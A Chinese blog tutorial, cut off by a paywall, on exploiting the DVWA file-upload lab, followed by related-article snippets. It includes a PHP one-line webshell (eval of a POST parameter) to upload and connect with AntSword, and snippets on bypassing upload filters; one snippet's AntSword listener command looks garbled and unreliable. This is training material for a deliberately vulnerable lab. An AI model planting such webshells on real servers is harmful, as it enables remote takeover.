DVWA靶场-文件上传漏洞~保姆级教程！！！

拾初。

已于 2024-05-14 09:19:34 修改

阅读量1k

点赞数 9

分类专栏： DVWA靶场文章标签：网络安全网络安全

于 2024-05-14 09:10:48 首次发布

本文链接：https://blog.youkuaiyun.com/2301_77360738/article/details/138817504

版权

实训目的

学习DVWA文件上传漏洞的低、中、高等级

实训环境

Win10 （靶机）

Win11（测试机）

实训工具

Phpstudy（win10）

火狐浏览器（安装有FoxyProxy插件）、BurpSuite、中国蚁剑（win11）

实训准备

1.准备一个png图片（1.png）

2.一句话马(2.php)

<?php @eval($_POST['cmd']);

phpinfo();?>

Low等级

不管是png文件还是php文件都可以正常上传，没有任何限制，显示文件上传路径

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

拾初。

关注关注

9
点赞
踩
9

收藏

觉得还不错? 一键收藏
1
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

dvwa文件上传漏洞低级，中级，以及高级的难度测试（手把手教会你文件上传）

qq_61426144的博客

07-18

1951

审计代码得知这里使用了白名单模式，除了jpg,JPG,jpeg,JPEG这几种类型除外，其它的一律不准上传，那我们直接配合文件包含漏洞包含我们的图片马直接getshell，制作图片马的过程小编这里就不展示了，各位小伙伴可以网上搜索图片马制作过程，这里高级难度我是用的是fofa上面搜索的DVWA的高级难度，因为我的靶机高级难度是写死了，在这里我们上传的图片马为1.jpg。最后利用菜刀工具直接链接该地址就行，后续小编也会更新文件包含的漏洞，文件上传漏洞可能有些地方讲的不是很好，还请大家多多指教。

【kali-Linux】DVWA搭建漏洞靶场_kali搭建dvwa靶场，阿里P8大佬亲自教你

m0_60732644的博客

04-06

1024

为了做好运维面试路上的助攻手，特整理了上百道。

1 条评论您还未登录，请先登录后发表或查看评论

【DVWA靶场】web安全漏洞-文件上传+文件包含(详细复现教程)

weixin_60838266的博客

07-21

4109

DVWA靶场漏洞复现之文件上传+文件包含。

dvwa篇之文件包含漏洞低、中、高三个级别的演示(小白必备！！！)

热门推荐

zeroone的博客

03-08

1万+

第五关：File upload（文件上传） 文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx等都曝出过文件上传漏洞。 Low <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to

DVWA靶场系列（四）—— File Upload（文件上传）

qq_45612828的博客

07-12

6202

DVWA靶场系列（四）—— File Upload（文件上传）

DVWA篇_文件上传

05-25

2165

记一次DVWA文件上传漏洞复现

Kali Linux搭建DVWA漏洞靶场（保姆式教学）

apple_51319648的博客

01-06

4150

前提1.搭建好Kali Linux虚拟机2.下载DVMA-master压缩包。

新手如何搭建CTF DVWA靶场，手把手教你

zacry的专栏

10-12

364

本文介绍如何安装phpStudy（小皮面板），并使用phpStudy安装DVWA。DVWA是一个基于PHP/MySQL开发的开源Web应用，它模拟了常见的Web安全漏洞，为安全专业人员提供了一个合法的测试环境，以测试他们的专业技能和工具。同时，它也有助于Web开发者更好地理解Web应用安全防范的过程，并在教学中为师生提供安全教学的便利。

AppScan 漏扫工具-保姆及配置使用说明

xmj818719的博客

02-22

3412

！！！！本文章仅供学习使用，严禁在未经网站管理员的允许的条件下扫描任何网站！！！！！！！！本文章仅供学习使用，严禁在未经网站管理员的允许的条件下扫描任何网站！！！！！！！！本文章仅供学习使用，严禁在未经网站管理员的允许的条件下扫描任何网站！！！！！！！！工具的滥用违反国家安全法后果自负！！！申明：本文实验环境在内网中进行，网站为自己服务器所搭建的sqli-labs...

DVWA靶场通过——文件上传漏洞

sucker的博客

11-27

2005

文件上传漏洞发生在Web应用程序允许用户通过表单上传文件时，如果文件上传机制没有进行严格的验证和限制，攻击者可以上传恶意文件。通过严格的规则来控制上传的文件类型，允许的扩展名可以是特定的静态文件类型（如 .jpg、.png、.txt 等），而拒绝其他动态文件类型（如 .php、.asp、.jsp 等）。1，high难度下对文件上传的限制与过滤更加严格，还是挂上burp suite的proxy，一句话木马文件命名为1.png，上传木马文件并在burp suite截获文件。确保上传的文件类型是预期的类型。

文件上传漏洞超详细解析（DVWA）

于高山之巅，方见大河奔涌；于群峰之上，更觉长风浩荡。

01-09

2230

当然了，代码还有很多种写法，这只是比较简单的一种，一些特殊情况下还要使用别的写法。

DVWA 文件上传

m0_56107268的博客

04-30

2150

Low File Upload Source vulnerabilities/upload/source/low.php <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILE..

DVWA-File Upload(文件上传)

简简的博客

02-02

563

本系列文集:DVWA学习笔记 文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的。 ###Low：函数介绍： basename()函数返回路径中的文件名部分。 string basename ( string $path [, string $suffix ] ) 参数介...

DVWA靶机-文件上传漏洞(File Upload)

weixin_43726831的博客

10-16

3683

DVWA靶机-文件上传漏洞 1.文件上传漏洞

5、DVWA——文件上传

qq_55202378的博客

09-11

1452

DVWA 文件上传

DVWA之文件上传漏洞

dzqxwzoe的博客

02-19

1346

指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。

DVWA | Files Upload（文件上传）通关笔记

qq_44846097的博客

10-12

1146

**文件上传漏洞**是网络安全中常见的漏洞之一，攻击者可以利用该漏洞上传恶意文件，进而在服务器上执行恶意代码、绕过权限验证或获取敏感数据。文件上传漏洞主要发生在允许用户上传文件的Web应用程序中，比如图像、文档上传功能等。

dvwa文件上传漏洞蚁剑

01-03

### DVWA 文件上传漏洞与蚁剑利用方法 #### 一、文件上传漏洞概述 文件上传漏洞是指应用程序允许用户上传恶意文件到服务器上，这些文件可能被执行从而导致远程代码执行(RCE)[^1]。 #### 二、DVWA 中不同级别的文件上传漏洞 DVWA 提供了从低级到高级的不同难度设置来模拟真实环境中的文件上传漏洞： - **初级**：几乎没有任何防护措施，可以直接上传任意类型的文件。 - **中级**：增加了简单的文件扩展名检查机制，但仍存在绕过方式。 - **高级**：不仅验证文件扩展名还检测MIME类型，不过依然可以通过特定技巧突破安全防线[^2]。 #### 三、使用蚁剑(AntSword)进行渗透测试的具体操作流程为了成功利用DVWA高难度下的文件上传功能实现反向Shell连接，需按照如下方式进行配置和攻击尝试： 1. 准备工作阶段，在本地搭建好DVWA平台，并确保能够正常访问； 2. 下载并安装最新版本的蚁剑客户端工具； 3. 编写或获取适用于PHP环境运行的小马(WebShell)，注意调整其中的关键参数以适应目标主机的情况； 4. 登录进入DVWA界面后切换至“File Upload”选项卡处准备实施下一步动作之前记得保存当前会话产生的Cookie信息以便稍后加载入蚁剑插件中作为身份认证凭证之一； 5. 尝试通过表单提交带有隐藏属性（如`<?php @eval($_POST['cmd']);?>`）的图片或其他看似无害但实际上嵌有可执行脚本的内容给服务端处理；此时如果一切顺利的话应该可以看到所选文件已被放置到了指定位置等待触发； 6. 打开蚁剑软件新建站点项目输入相应URL地址以及刚才记录下来的Session ID完成初步关联绑定之后就可以直接调用内置的功能模块去寻找可能存在风险的地方进而加以控制管理了[^3]。 ```bash # 示例命令用于启动蚁剑监听器 antsword -l 0.0.0.0 -p 8090 ```